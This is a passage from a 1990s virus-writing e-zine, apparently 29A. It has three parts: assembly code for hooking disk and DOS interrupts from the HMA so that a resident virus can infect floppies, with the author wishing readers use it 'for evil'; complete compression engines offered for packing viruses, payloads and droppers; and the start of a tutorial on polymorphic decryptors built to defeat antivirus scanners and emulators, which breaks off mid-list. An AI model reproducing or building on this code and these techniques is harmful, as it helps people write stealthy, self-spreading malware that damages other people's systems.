;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
mov ah,13h ;get int 13 chain
int 2fh ;returns previous ds:dx to bios
push ds ;int 13h
push dx
lea dx,word ptr ds:[di+offset resident_13]
push -1 ;point to new int 13 in HMA
pop ds
int 2fh ;set new int 13 into chain
push -1
pop ds
pop word ptr ds:[di+previous_13]
pop word ptr ds:[di+previous_13+02h]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

The only problem with this is that Windows will spot it if the 32 bit disk
access is enabled.

An even simpler way of hooking into the interrupt 13h chain can be done if
all you are wanting to do is infect floppies. Interrupt 40h is the moved
interrupt 13h handler that only handles floppy accesses. It can be directly
hooked into the HMA because all access to it will be through interrupt 13h
that made sure the a20 line was gated before it went into the HMA.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
push es ;save es
mov ax,3540h ;get old int 40
int 21h
pop ds ;get es and save old int 40
mov word ptr ds:[di+previous_40],bx
mov word ptr ds:[di+previous_40+02h],es
lea dx,word ptr ds:[di+resident_40]
mov ah,25h ;set int 40 into hma
int 21h
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Interrupt 2fh is very easy to hook into the HMA. Before DOS 7, you could
hook your code in at 0070:0005h. DOS 7 moved it to 0070:0168h.

Another way to hook into the interrupt chain and make sure that the a20 li-
ne is gated is to have some code in lower memory that calls the interrupt
you want to hook in with some bogus function, then jump to the HMA code be-
cause the a20 line was gated with the previous interrupt call. An example:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
interrupt_21: push ax ;interrupt 21h points to here
mov ah,19h ;get current drive (bogus instruction)
pushf ;simulated stack for interrupt
db 09ah ;far call instruction
previous_21 dd 04530126eh ;previous interrupt 21 simulation
pop ax
db 0eah ;far jmp
hma_virus_code dd ffffec1ch ;to virus code in HMA
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Using some lower memory as a kernal


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The trick is where to put these instructions in lower memory. The interrupt
vector table can be used either the user area at 0040:00f0h or i like to
use the root PSP of COMMAND.COM:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
mov ah,51h ;get current PSP
int 21h
xor ax,ax ;prime ax not equal PSP
find_root_psp: cmp ax,bx
je found_root
mov ds,bx ;point to current psp
mov ax,bx ;for compare
mov bx,word ptr ds:[16h];get parent psp
jmp short find_root_psp
found_root: [...] ;ds points to the psp of command.com
[...] ;ds:005ch to ds:007fh is useless space
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

What works and what doesn't


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
When your virus code is the HMA there are certain things that will not work
like you'd like them to: you can not hook your critical error handler in to
the HMA. You can not do interrupt 21h writes or reads with DS:DX pointing
in the HMA. To do these you will need to use some lower memory and copy the
contents into the lower memory and point to it. You can use the lower memo-
ry areas discussed above. What does work: BIOS interrupt 13h reads and wri-
tes work just fine. Searching the disk buffers and modifying them to insert
your code and then marking the buffer as dirty will cause the processor to
write it back.

If this has inspired someone else to use the HMA for evil rather than good
then my efforts have been worth it.

"Q" the Misanthrope


Compression engines
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Super/29A and Vecna/29A

Words from Super...

Nowadays, more and more people need and ask for a compression engine for
their viruses. Thinking about the matter, it really seems to be a good (at
least useful) idea to include one of those compression engines inside a vi-
rus... of course it's not interesting if the engine itself is about 7k long
for instance :) But if we're talking about a tiny engine (about 500-600 by-
tes), it's worth to spend a little amount of time thinking on the new ways
it opens for us, such as...

- Including compressed images in graphic format for a cool payload


- Carrying a VxD dropper compressed inside our code, thus not mattering its
size, and then being able to implement many more things in it
- Compressing the files we infect, resulting in some times (especially with
Windows 3.1 NE files) in a size decrease after infection... now go and
tell many AVers to change their description on what a virus is :)
- Compressing disk sectors! so free disk space won't be a problem anymore
- And so on... everything depends on your imagination :)

These all reasons drove me to write STCE (Super Tiny Compression Engine), a
program whose name is self-explanatory... i did not use any Huffman-alike
rule, as STCE is based just on repeated byte sequences. It's pretty optimi-
zed (413 bytes only!!!), so you can include it in any virus you want with-
out experiencing any notorious increase in its size.

Now let's explain how it works.

To compress code
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
- Input:

AX -> holds the number of bits to encode not-repeated bytes with (when
the repeated sequence is not two-byte, but maybe one-byte long,
so we can't compress anything - just store).
BX -> holds the maximum number of bits dedicated to encode the relati-
ve offset of the repeated sequence. With "maximum" i mean that
STCE will not accept relative offsets with a higher number of
bits (it wouldn't help in order to compress!).
CX -> holds the length of the data we want to compress.
DX -> holds the number of bits to encode the value which indicates us
how many repeated bytes there are in the code we're compressing.
DS:SI -> holds the address of the data we want to compress.
ES:DI -> holds the address where we want STCE to put the compressed data.
Take special care on having enough space for this, otherwise
your virus may hang after having overwritten certain data!
BP -> holds the minimum number of bits dedicated to encode the relati-
ve offset of a repeated sequence. And with "minimum" i mean that
if the number of bits to encode the offset is below the value
held in BP, then the number of bits which will be used will be
this last one (BP), instead of the one in BX, which is larger.

I suggest the following values:

AX=0000h CX=****h DS:SI=****h BP=0006h


BX=0009h DX=0204h ES:DI=****h

At least they're ok in order to compress sectors.


- Output:

CX -> holds the length of compressed code.

To decompress code
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
- Input:

CX -> holds the *decompressed* size of the data we want to decompress.


(so, if u compress with cx=200h, to decompress must use cx=200h)
DS:SI -> holds the address of the data we want to decompress.
ES:DI -> here's where we want STCE to put the decompressed data.

Note! AX, BX, DX and BP *MUST* hold the same values which were previously
used when having called the "compress" routine.

- Output:

ES:DI -> address of what you asked STCE to put there ;)

Structure of AX, BX, DX and BP


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
When we want to encode a value in one of this registers, we may use two
different ways: either by picking a fix number of bits or by means of this
little table, for low values:

Bits Number which represent


ÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
0 1
10 2
110 3
[...] [...]

AH and DH hold variable values (depending on if this value is less than 3),
while AL and DL hold fix ones, which, being added to the previous ones, ha-
ve to be as result the value we want to use in the compression routine. A-
bout BX and BP, just note that their high part MUST be zero (otherwise STCE
won't work ok), while the low one is used to encode the relative offset
where the repeated-byte sequence is found.

Anyway, the best thing is to do some tests with several values until STCE
satisfies your needs or viral instincts!!! ;)

And now, here you have the code for STCE itself...

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

;*********************************************************;
;*********************************************************;
;** **;
;** ======================================= **;
;** Super Tiny Compression Engine (STCE) **;
;** ======================================= **;
;** Made by Super/29A **;
;** **;
;*********************************************************;
;*********************************************************;

.model tiny
.code
public compress
public decompress

;=========================================================;
;=========================================================;

start:

save_regs:

; [BP-14] = not repeated-bytes counter


; [BP-12] = max address
; [BP-10] = min address
; [BP-0e] = max number of bytes of rerpetitions
; [BP-0c] = max number of bytes of not repetitions
; [BP-0a] = CX
; [BP-8] = bit counter
; [BP-6] = where to write bits
; [BP-4] = where to write bits
; [BP-2] = ES = output buffer segment
; [BP+0] = BX = 0x0x
; [BP+2] = BP = 0x0x
; [BP+4] = DX = 0x0x
; [BP+6] = AX = 0x0x
; [BP+8] = DI = output buffer offset
; [BP+0a] = CX = length of data to compress
; [bp+0c] = SI = input buffer offset

push si
push cx
push di
push ax
push dx
push bp
cld
test al,05bh ;
push bx ;
push sp ; executable text: '[STCE]'
inc bx ;
inc bp ;
pop bp ;
push es
push di
inc di
push di
mov di,08h
push di
push cx
j1:
mov al,[bp+di-2]
cbw
cwd
xchg cx,ax
jcxz j2
inc dx
rol dx,cl
j2:
mov cl,[bp+di-1]
add dx,cx
push dx ;push this value on the stack
dec di
dec di
jnz j1
push di
jmp [bp+0eh]

decompress:
call save_regs
mov bl,1 ;indicate the bit we are reading
mov di,[bp+08h]
decompress0:
call read_bit
jb decompress1 ;if bit=1, that means a repeated sequence of bytes
mov ax,[bp+06h] ;else read the number of bytes stored
call read
push cx
rep ;
movsb ;write these bytes
jmp decompress4
decompress1:
mov cx,[bp+02h]
jcxz decompress2 ;jump if we only use one fixed number of bits
call read_bit ;else read one bit
jb decompress3

;if that bit=1, then we use a number of bits specified in "bx" parameter
;else we use the number of bits specified in "bp" parameter"

decompress2:
mov cx,[bp+00h]
decompress3:
xchg cx,ax
call read ;read these bits
push cx ;this value will be the rel.offs. of repeated sequence
mov ax,[bp+04h]
call read ;now, read the number of bytes that do repeat
inc cx
pop ax
push cx
push si
mov si,di
sub si,ax
rep ;
db 26h ; copy repeated sequence from es:si to es:di
movsb ;
pop si
decompress4:
pop ax
sub [bp-0ah],ax ;have we finished?
jnz decompress0 ;jump if not
load_regs:
mov sp,bp
pop bx
pop bp
pop dx
pop ax
pop di
pop cx
pop si
inc sp
inc sp
ret

read_bit:
dec bl
jnz read_bit1
mov bh,[si]
mov bl,8
inc si
read_bit1:
shr bh,1
ret

read:
cwd
sub cx,cx
read1:
inc cx
dec ah
js read3
call read_bit
jnb read1
read2:
add cx,dx
ret
read3:
sub al,1
js read2
call read_bit
rcl dx,1
jmp read3

compress:
call save_regs
find_more:
push ds
pop es
sub bx,bx
mov [bp-14h],bx
find_more0:
inc si
mov cx,si
sub cx,[bp+0ch]
cmp cx,[bp-12h]
jb ok1
mov cx,[bp-12h]
ok1:
mov di,si
sub di,cx
find_more1:
jcxz compress1
mov ax,[si-1]
find_more2:
repnz
scasb
jcxz compress1 ;jump if not found
cmp [di],ah
jnz find_more2
xchg cx,ax
mov cx,[bp-0eh]
inc cx
repz ;
cmpsb ; compare to see who many bytes are equal
dec cx
xchg cx,ax
sub ax,[bp-0eh]
neg ax
sub si,ax
sub di,ax
cmp ax,bx ;have we got more bytes than previous times?
jb find_more1 ;jump if negative
mov bx,[bp+0ah]
cmp ax,bx
ja too_far
xchg bx,ax
too_far:
mov dx,si
sub dx,di ;store the relative offset
jmp short find_more1 ;try to find larger sequences of rep.bytes
compress1:
neg bx
jb compress3 ;jump if number of bytes repeted>2
inc word ptr [bp-14h] ;increase the counter of non-repeated bytes
dec word ptr [bp+0ah]
jz compress2 ;jump if last byte
mov ax,[bp-14h]
cmp ax,[bp-0ch]
jb find_more0 ;jump if we can put altogether more non-repeated bytes
compress2:
inc si
compress3:
call store_data ;just do it
cmp [bp+0ah],ax
jnz find_more ;jump if there remains any byte
mov ax,[bp-06h]
sub ax,[bp+08h]
mov [bp+0ah],ax ;calculate size of compressed data
align_bits:
call write_bit ;align bits, so as to be able to decompress
jns align_bits
jmp load_regs

write_bit:
dec byte ptr [bp-08h]
jns write_bit1
mov byte ptr [bp-08h],7
push word ptr [bp-06h]
pushf
inc word ptr [bp-06h]
popf
pop word ptr [bp-04h]
write_bit1:
les di,[bp-04h]
rcr byte ptr es:[di],1
ret

store_data:
dec si
mov cx,[bp-14h]
jcxz store_data1 ;jump if there r no stored bytes
call write_bit ;write bit=0, because cf=0
push cx
xchg cx,ax
mov cx,[bp+06h]
call write ;write number of bytes stored
pop cx
sub si,cx
mov di,[bp-06h]
rep ;
movsb ; store those bytes
mov [bp-06h],di
store_data1:
neg bx
jnb write3 ;jump if no repeated bytes
call write_bit ;write bit=1
lea si,[bx+si]
sub [bp+0ah],bx
cmp [bp+02h],cx ;cx=0
xchg dx,ax
mov cx,[bp+00h]
jz store_data3
cmp ax,[bp-10h]
jnb store_data2
mov cx,[bp+02h]
store_data2:
call write_bit ;write bit to select from "bp"/"bx" number of bytes
store_data3:
call write ;write relative offset of repeated secuence of bytes
dec bx
xchg bx,ax
mov cx,[bp+04h] ;and now, write the number of bytes repeated
write:
dec ax
dec ch
js write1
sub ax,1
inc ax
jb write_bit
call write_bit
jmp write
write1:
mov ch,0
jcxz write3
ror ax,cl
write2:
shl ax,1
call write_bit
loop write2
write3:
ret

;=========================================================;
;=========================================================;

end start
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

And now words from Vecna...

It's a casuality. When I joined 29A, I was working in a compression routine


for my Win32 virus, so here's this little extension for Super's article, in
which I will show two other engines. They're generally worse than STCE, ex-
cept in some files. Objects are less compressed, but they are smaller. The
first engine, CRUNCH/UNCRUNCH, is 321 bytes long, while the other one, the
PACK/UNPACK routine, is 67 bytes only!!!

CRUNCH/UNCRUNCH works better with text files, because they use a reduced
set of ASCII codes, and the PACK/UNPACK routine works nice with VxD code
and other stuff with lots of zeros.
PACK/UNPACK
ÄÄÄÄÄÄÄÄÄÄÄ
This engine consists on a simple zero-repeat compression. It copies code
from the source buffer to a destination buffer, checking for zeros. When it
finds one, it starts counting the number of zeros which follow that initial
zero, and then stores that value. So, all the zeros will be followed by the
number of times we need to repeat them. Pretty simple, as you see.

CRUNCH/UNCRUNCH
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This routine is based on the premise that not all possible ASCII codes are
used in a given text. Some letters, for instance in portuguese or spanish,
like a, s, c, or e are more used than others, like k, y, w, t, etc. Other
codes, such as the high ASCII ones, are almost never used! So this routine
works in two steps. First it scans for the most used codes, creating two
tables, each of them with the 15 most used characters. Then it starts com-
pressing the file. If the character in the source buffer is present in the
first table, the engine will put its offset in the table. Else, it will
look for that character in the second table, and if it's there, will put a
zero to mark a table change and put the offset of the character in that se-
cond table. Finally, if the character is not present in any table, then the
engine will put a zero and the plain ASCII code. The 15 characters, which
are the max number in our table, can be represented in a nibble, so we may
gain space. So, it will work this way:

* Codes in 1st table -> 1 nibble


* Codes in 2nd table -> 2 nibbles (one 0 and the offset)
* Codes not found in any table -> 4 nibbles (two 0 and the ASCII code)

This compression engine is especially useful in order to compress, for ins-


tance, the text of a payload in a virus, the names of the APIs used in a
Win32 PE infector... in general, any plain text you would like to compress.

Note: these engines were written based on a idea of Reptile/29A.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

; CRUNCH compression engine, by Vecna/29A


; Entry:
; CX = number of bytes to compress
; SI = points to the code to compress
; DI = buffer where to put the compressed code
; Exit:
; CX = number of bytes to save
; DX = buffer to save

public CRUNCH
CRUNCH proc
cld
call init
push di
pusha
push cx
mov di, offset dictionary
mov cx, 15+256
xor ax, ax
rep stosw
pop cx
mov di, offset frequency_table
count_loop:
lodsb
mov bx, ax
shl bx, 1
cmp word ptr cs:[di+bx], -1
je overflow
inc word ptr ds:[di+bx]
overflow:
loop count_loop
mov di, offset dictionary
mov cx, 15*2
next_char:
push cx
xor bx, bx
mov si, offset frequency_table
mov cx, 256
scan_table:
lodsw
cmp ax, bx
jb lower
mov bx, ax
mov bp, si
sub bp, 2
lower:
loop scan_table
mov word ptr [bp], 0
sub bp, offset frequency_table
mov ax, bp
shr ax, 1
stosb
pop cx
loop next_char
popa
push si
mov si, offset dictionary
call copy30
pop si
push di
cld
next_byte:
push cx
xor ax, ax
lodsb
push di
mov di, offset first_table
mov cx, 15
repne scasb
pop di
jne try_table_2
calculate:
mov ax, 15
sub ax, cx
jmp found_in_table
try_table_2:
push di
mov di, offset second_table
mov cx, 15
repne scasb
pop di
jne no_table
mov al, 0
call add_nibble
jmp calculate
no_table:
push ax
xor ax, ax
call add_nibble
call add_nibble
pop ax
push ax
and al, 11110000b
shr al, 4
call add_nibble
pop ax
and al, 00001111b
found_in_table:
call add_nibble
do_next:
pop cx
loop next_byte
pop bx
mov cx, di
sub cx, bx
add cx, 30
pop dx
ret
endp CRUNCH

; Init variables

init proc
mov byte ptr [up_down], 0
mov byte ptr [compressed], 0
ret
endp init

; Add nibble in chain


; Entry:
; AL = nibble to add

add_nibble proc
cmp byte ptr [up_down], 0
jne down_byte
shl al, 4
mov byte ptr [compressed], al
inc byte ptr [up_down]
ret
down_byte:
or al, byte ptr [compressed]
stosb
dec byte ptr [up_down]
ret
endp add_nibble

; Read nibble
; Exit:
; AL = nibble

read_nibble proc
cmp byte ptr [up_down], 0
jne low_nibble
lodsb
mov byte ptr [compressed], al
and al, 11110000b
shr al, 4
inc byte ptr [up_down]
ret
low_nibble:
mov al, byte ptr [compressed]
and al, 00001111b
dec byte ptr [up_down]
dec cx
ret
endp read_nibble

; Copy 30 bytes

copy30:
push cx
mov cx, 30
rep movsb
pop cx
ret
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

; UNCRUNCH decompression engine, by Vecna/29A


; Entry:
; CX = number of bytes to expand
; SI = buffer to expand
; DI = buffer for expanded code
; Exit:
; CX = number of expanded bytes
; DX = buffer of expanded bytes

public UNCRUNCH
UNCRUNCH proc
call init
push di
mov di, offset dictionary
call copy30
pop di
push di
sub cx, 30
unpack_loop:
xor ax, ax
call read_nibble
cmp al, 0
je maybe_second_table
mov bx, offset first_table
jmp do_calc
maybe_second_table:
call read_nibble
cmp al, 0
je store_full
mov bx, offset second_table
do_calc:
add bx, ax
mov al, byte ptr [bx-1]
jmp store_this
store_full:
call read_nibble
push ax
call read_nibble
pop bx
shl bl, 4
or al, bl
store_this:
stosb
or cx, cx
jnz unpack_loop
pop dx
mov cx, di
sub cx, dx
ret
endp UNCRUNCH
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

; PACK compression engine, by Vecna/29A


; Entry:
; CX = number of bytes to compress
; SI = offset of code to compress
; DI = buffer to put compressed code in
; Exit:
; CX = number of bytes to save
; DX = buffer to save

public PACK
PACK proc
mov dx, di
xor bx, bx
nextta:
lodsb
or al, al
jnz nextbyte
inc bx
loop nextta
nextbyte:
or bx, bx
jz nada
push ax
mov al, 0
stosb
mov ax, bx
stosw
xor bx, bx
pop ax
jcxz quit
nada:
stosb
loop nextta
quit:
mov cx, di
sub cx, dx
ret
endp PACK

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

; UNPACK decompression engine, by Vecna/29A


; Entry:
; CX = number of bytes to expand
; SI = buffer to expand
; DI = buffer for expanded code
; Exit:
; CX = size of expanded code
; DX = buffer of expanded code

public UNPACK
UNPACK proc
mov dx, di
nexttat:
lodsb
or al, al
jnz nextbit
sub cx, 2
push cx
lodsw
mov cx, ax
xor ax, ax
rep stosb
pop cx
loop nexttat
jcxz quitta
nextbit:
stosb
loop nexttat
quitta:
mov cx, di
sub cx, dx
ret
endp UNPACK
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

; Variables for the engines

up_down db ?
compressed db ?

dictionary label
first_table label
db 15 dup (?)
second_table label
db 15 dup (?)

frequency_table label
dw 256 dup (?)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Super/29A & Vecna/29A


Analysis on the decryptor generation
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Lord Julus

ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
Û D I S C L A I M E R Û
Û Û
Û The following document is a study. It's only purpose is to be used in Û
Û the virus research only. The author of this article is not responsible Û
Û for any misuse of the things written in this document. Most of the Û
Û things published here are already public and they represent what the Û
Û author gathered across the years. Û
Û The author is not responsible for the use of any of these information Û
Û in any kind of virus. Û
Û Lord Julus. Û
ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ

ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Foreword ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄ-

Before saying anything I would like to apologize from the beginning


for my English mistakes, as I had to write this article really fast so I
had no time to spell/grammar check. Second of all, I am still under the
influence of the polymorphic engine I started to work on for some time
now (Lord's Multiple Opcode Fantasies). My routine was under development,
when I realised I really needed a document to read from, some place where I
could keep all the info I collect. That's when I started on this article
here. So, most of it is concentrated on the main idea I used in M.O.F. But,
in order to make it more simple to understand and more easy to explain I
made a few 'shorcuts', sort of speak. E.g., you'll get the main idea and
you'll be able to make your own poly engine after reading this, but you'll
have to use you're imagination. This may not be the final form of this
document. I might get new ideas or realize I made some mistakes. If I do
I'll write it again... (that's why I gave it a version number, 1.5).

So, for any comments, ideas, suggestions or mistakes you noticed


I can be reached via e-mail at this address:

lordjulus@geocities.com

Do not wait and write ! Be well,


Lord Julus.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Introduction ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

Before the heuristic analysers and the code emulators appeared on


the market the usual encryption methods worked pretty good. And I do not
speak only about viruses. I also reffer to the methods used for protecting
software and data. Code emulators are able to crack your protections in a
matter of minutes. That's when the ideea of polymorphism arose. A coder from
Bulgaria passing by the nickname of Dark Avenger who wrote a lot of
destructive viruses (including an antivirus against two of his viruses who
unleashed a third virus) came with this ideea when his MtE (Mutation
Engine) appeared. What polymorphism is really all about is creating self
decrypting code, able to create each and every time a different decryptor
containing both decrypting code and also junk instruction designed to make
debugging and emultating harder.
As this article is not designed to explain why is this needed or make
a pro statement for polymorphism I will get directly to facts.

So, in my opinion a good poly engine should be able to:

* Create different decryptors by:


- generating different instructions which do
the same thing
- swaping groups of instruction between them
- creating calls to dummy routines

* Generate junk instruction between real code


* Being portable (can be included in any program)
* Everything should be based on random numbers
* Being able to create different size decryptors
* It must be fast
* It must be as small as possible

Something anyone can notice is that the biggest and complicated the
decryptor is, the biggest and complicated and *slower* is the polymorphic
engine. All you'll have to do is find a good balance, e.g. finding the
best level of polymorphism a fast and small routine can create.

In order to make this more easy to understand, I will use some


notations that are showed below:

a) General notations:

reg - general register (AX, BX, CX, DX)


preg - pointer register (SI, DI, BP)
sreg - segment register (CS, DS, ES, SS)
imm - immediate value (8 bit or 16 bit)
mem - memory location

(note that BX can also be used as pointer register but I will avoid
this case in this article)

b) Specific notations:

lreg - Register to hold code length


creg - Register to hold the code
kreg - Register to hold the key

sreg - Segment override for the source


dreg - Segment override for destination

preg - The pointer register


jreg - Junk register
jprg - Junk pointer register

key - Encryption key


keyi - Key increment
rndm - random number

length - Code length / 2 (because usualy the length is given in bytes


and I like to code on words)

In order to make the polymorphic engine (PME) create the decryptor


faster I will assume the following, even though this is a little against
the rules I gave for a good engine, but I will explained why:

* AX will be the junk register


* BP will be used as a delta handler
* The engine will create equal size decryptors (this in order
to preserve the ability of a virus to hide the length of
the host using stealth procedures)

And now the reason: many OpCodes for instructions are optimized
for the register AX. This means that an instruction using the AX
register will be shorter than one involving the BX register. Now, you
probably think this is stupid... No ! That's because when generating
instructions you have a set of instructions that do the same thing.
Obviously the sum of bytes for each set will never be equal. If you
want to create a PME to generate equal size decryptors, you'll have
to pad with NOP's so all the sets will have same size. So, it's no use
to have an optimized AX instruction if you have to pad it anyway because
another instruction has more bytes. Instead, being the junk register,
the junk code will be optimized on AX. This means you can have more
junk instructions in the same space. I hope this clears it. (as you will
see further I will not take use of this either to make the poly smaller...)

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ General Decryptor ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

I will begin now with the general type decryptor and I will explain
the way it works. This code is usualy put at the end of code, but some
are put at the begining (I will not explain this here. MOF uses decryptors
in different places, but you have to take care of the Delta Handle). The
Decryptor is called from the beginning, decrypts the code and gives it the
control (i.e. jumps to it).
Notice each instruction will have a number for further use.

Decrypt proc near


[1] mov lreg, length ; get code length
[2] mov preg, startcode ; load pointer register
[3] push cs ; make both source and
[4] pop jreg ; destination segment
[5] mov sreg, jreg ; registers point to
[6] mov dreg, jreg ; the Code Segment
[7] mov kreg, key ; get the key

main_loop:
[8] mov creg, sreg:[preg] ; take an encrypted word
[9] call unscramble ; decrypt it (*)
[10] mov dreg:[preg], creg ; write decrypted word
[11] add kreg, keyi ; increment the key
[12] dec lreg ; decrement length
[13] inc preg ; increment pointer
[14] inc preg ; by 2
[15] jnz main_loop ; and loop until length=0
[16] ret ; return control
Decrypt endp

(*) I will get back to the unscrambling procedure later.

As you can see, this is a general decryptor which takes a word


from source:pointer, decrypts it and then puts it back to
destination:pointer (which in this case are the same). Also you may notice
I used the incremented style encryption key. And the increment is not 1
as most decryptors do, but a random number ! (I'll discuss random stuff
later too).

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Permuting Instructions ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

One of the very important things in a PME is the ability to


swap instructions or groups of instructions between them. Only this
feature is good enough to flame scan-string scaners. But we must be
very careful about what can be swaped and what can't, and so to
establish some rules. In our case this is how it goes:

Permutable instructions:

Permutable instructions are in the [1] - [7] range with the


following:
a) instruction [1] can be placed anywhere
b) instruction [2] can be placed anywhere
c) instruction [3] can be placed anywhere but always
above instruction [4]
d) instruction [4] can be placed anywhere but always
under instruction [3]
e) instruction [5] can be placed anywhere but always
under instruction [4]
f) instruction [6] can be placed anywhere but always
under instruction [4]
g) instruction [7] can be placed anywhere

Also permutable are instructions [10] - [14], which can be placed


in any order.

How do we permute the instructions. As you will see later, you will
have a routine for generating each of the above instructions. So, all
you have to do is make a matrix of bytes with the length 16, mark
the 8, 9, 15 and 16 positions with 8, 9, 15, 16 (as these can not be
permuted). Then fill the first part of the matrix (1-7) with numbers from
1 to 7 in a random order (being careful about the rules) and then fill the
10-14 part with numbers between 10-14 in a random order. Now, all you have
to do is call your routines in that order.

Example: 3,1,2,4,7,6,5,8,9,14,12,10,13,11,15,16
(this code does exactly the same thing as the one above).

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Coding Instructions ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

Here comes the best part of a PME: coding instructions in different


ways. What does this mean ? Let's take an example:

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ
Instruction ³ OpCodes ³ Total bytes
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov bx, 1000h ³ B8 00 10 ³ 3
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ
xor bx, bx ³ 33 DB ³
or bx, 1000h ³ 81 CB 00 10 ³ 6
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ
push 1000h ³ 68 00 10 ³
pop bx ³ 5B ³ 4
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ
sub bx, bx ³ 2B DB ³
xor bx, 1000h ³ 81 F3 00 10 ³ 6
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov bx, 1000h xor 2222h ³ BB 22 32 ³
xor bx, 2222h ³ 81 F3 22 22 ³ 6
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ

Each and everyone of the above combinations will do the same thing:
put the value 1000h into the BX register. Of course, the number of opcodes
involved in each case is different, as you can see. What we'll need to do
then is:
* pick up a combination
* generate it
* see the difference between the bytes number of the choosen
combination and the one with the most bytes (6 in our case)
* pad the instruction with junk to reach the max

You will notice that as the instruction is more simple, it is more


padded with junk and vice-versa.

Ok, so let's get back to our example and let's pick some variants
for each one of our instructions.

[1]/[2] mov lreg, length / mov preg, startcode


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(As I will explain later, many AV products tend to find out
for themselves different values, like the length of the
code or the start of code and so on. Therefore, I will use
a method to hide this. I will discuss it more in the
Armouring section)

a) push imm (imm = real data xor rndm)


pop reg
xor reg, rndm
junk byte
junk byte
junk byte
ÄÄÄÄÄÄÄÄÄ
11 bytes

b) mov ax, imm (imm = real data + rndm)


